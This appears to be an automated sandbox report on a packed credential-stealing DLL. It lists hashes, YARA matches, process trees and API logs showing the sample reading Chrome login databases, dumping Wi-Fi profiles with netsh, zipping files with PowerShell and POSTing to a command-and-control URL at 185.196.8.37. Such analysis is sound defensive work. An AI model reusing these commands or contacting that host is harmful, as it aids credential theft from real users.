Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Jan. 22, 2025, 5:03 p.m.	Jan. 22, 2025, 5:05 p.m.

Size	1.0MB
Type	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5	`fd8df0fc2168cb8c7959afaffa4d8031`
SHA256	`50f6ef79d5f5ba167a875bbf1438b8ff42a46ac5537127bb5a51f87bdc611620`
CRC32	`1229B67B`
ssdeep	`24576:QWBhVxYlZdJCTgmP/xEcCJnDOEl5woFNEa1mXu5iPajrVT1jH:QWBhPYrpoCpmX2pjXjH`
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsDLL - (no description) IsPE32 - (no description) Generic_Malware_Zero - Generic Malware UPX_Zero - UPX packed file OS_Processor_Check_Zero - OS Processor Check

rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\cred.dll,Save
2636
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\cred.dll,Main
2552
- netsh.exe netsh wlan show profiles
  2840
- powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\test22\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\test22\AppData\Local\Temp\832866432405_Desktop.zip' -CompressionLevel Optimal
  2964
rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\cred.dll,
2732
explorer.exe C:\Windows\Explorer.EXE
1452

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
185.196.8.37	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 185.196.8.37:80 -> 192.168.56.101:49166	2400032	ET DROP Spamhaus DROP Listed Traffic Inbound group 33	Misc Attack

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW Jan. 21, 2025, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 21, 2025, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 21, 2025, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 21, 2025, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Jan. 21, 2025, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Jan. 21, 2025, 9:10 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Jan. 21, 2025, 9:17 a.m.			0	0
IsDebuggerPresent Jan. 21, 2025, 9:17 a.m.			0	0
IsDebuggerPresent Jan. 21, 2025, 9:10 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003e1c10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55aa90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55aa90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55aa90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55ada0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55ada0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55aa90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55aa90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55aa90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55aa90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55ab00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55ab00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55ab00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55aa90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55aa90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55aa90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55b4a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55b4a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55b4a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55b4a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55b4a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55b4a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55b580 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55b580 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55b5f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55b5f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b55b5f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5475c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5475c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b547780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b547780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5475c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5475c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5475c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5829c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5829c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b582a30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b582a30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b583590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:10 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b583590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5837c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5837c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003ca300 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003ca300 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003ca300 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Jan. 21, 2025, 9:11 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003ca300 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Tries to locate where the browsers are installed (3 events)

file	C:\Program Files (x86)\Google\Chrome\Application\Psi\profiles\default\accounts.xml
file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Jan. 21, 2025, 9:10 a.m.		1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header, POST method with no useragent header, Connection to IP address

suspicious_request

POST http://185.196.8.37/Gd85kkjf/index.php

Performs some HTTP requests (1 event)

request

POST http://185.196.8.37/Gd85kkjf/index.php

Sends data using the HTTP POST Method (1 event)

request

POST http://185.196.8.37/Gd85kkjf/index.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 203 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73697000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x764b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75d41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75e61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76161000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c11000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73540000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73451000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x733c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73384000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73452000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73bf1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:18 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76281000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:18 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75bc1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:18 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75d21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73697000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x764b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75d41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75e61000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x76161000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c11000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73540000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73451000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x733c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73384000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73452000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:17 a.m.	process_identifier: 2636 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73bf1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002a70000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002b20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b11000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d8e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d8e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d8f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d8f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d8f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d8f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d8f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d8f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d8f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d8f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d90000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d90000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d90000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d90000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d90000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d91000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d91000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d91000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d91000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Jan. 21, 2025, 9:10 a.m.	process_identifier: 2964 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3d8e000 process_handle: 0xffffffffffffffff	1

Steals private information from local Internet browsers (5 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-wal
file	C:\Users\test22\AppData\Local\Chromium\User Data\Default\Login Data

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (1 event)

cmdline

powershell -Command Compress-Archive -Path 'C:\Users\test22\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\test22\AppData\Local\Temp\832866432405_Desktop.zip' -CompressionLevel Optimal

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (40 events)

Time & API	Arguments	Status	Return
Process32FirstW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: [System Process] process_identifier: 0	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: System process_identifier: 4	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: smss.exe process_identifier: 224	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: csrss.exe process_identifier: 304	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: wininit.exe process_identifier: 352	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: csrss.exe process_identifier: 360	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: winlogon.exe process_identifier: 400	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: services.exe process_identifier: 444	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: lsass.exe process_identifier: 460	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: lsm.exe process_identifier: 468	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: svchost.exe process_identifier: 572	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: svchost.exe process_identifier: 652	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: svchost.exe process_identifier: 724	1	1
Process32NextW Jan. 21, 2025, 9:17 a.m.	snapshot_handle: 0x00000178 process_name: svchost.exe process_identifier: 784	1	1
